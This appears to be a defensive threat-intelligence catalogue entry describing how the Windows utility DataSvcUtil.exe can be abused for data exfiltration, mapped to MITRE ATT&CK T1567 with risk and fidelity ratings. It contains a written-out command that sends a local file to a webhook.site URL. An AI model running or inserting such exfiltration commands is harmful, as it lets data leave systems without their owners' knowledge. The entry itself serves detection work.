MalCommands — DataSvcUtil

#					tactics	techniques	os

detail

Command Line

DataSvcUtil /out:C:\\Windows\\System32\\calc.exe /uri:https://webhook.site/xxxxxxxxx?encodedfile

Description

Abusing DataSvcUtil.exe to exfiltrate calc.exe to the given remote destination.

Risk

High

Risk Reason

This is an extremely suspicious action for most normal users.

Fidelity

High

Fidelity Reason

This type of commandline activity is typically extremely rare for most organizations.

Operating Systems

Windows

Killchain Phases

Actions on Objectives

References

https://lolbas-project.github.io/lolbas/Binaries/DataSvcUtil/

TOOL DATA

Tool Name: datasvcutil

Tool URL: https://learn.microsoft.com/en-us/previous-versions/dotnet/framework/data/wcf/wcf-data-service-client-utility-datasvcutil-exe

Tool Description: DataSvcUtil.exe is a Microsoft utility provided by WCF Data Services that typically consumes an Open Data Protocol (OData) feed and generates classes needed to access a service from a .NET client.

Common Tool Locations

C:\Windows\Microsoft.NET\Framework64\v3.5\DataSvcUtil.exe

Common Tool Arguments

/in - Specifies a .csdl or .edmx file or directory where the file is located
/language - Specifies the generated source-code language - CSharp or VB
/uri - The URI of the OData Feed to consume

MITRE ATT&CK TECHNIQUES

Technique: T1567 - Exfiltration Over Web Service

URL: https://attack.mitre.org/techniques/T1567

Description: Adversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel. Popular Web services acting as an exfiltration mechanism may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to compromise. Firewall rules may also already exist to permit traffic to these services. Web service providers also commonly use SSL/TLS encryption, giving adversaries an added level of protection.

Tactics:

Exfiltration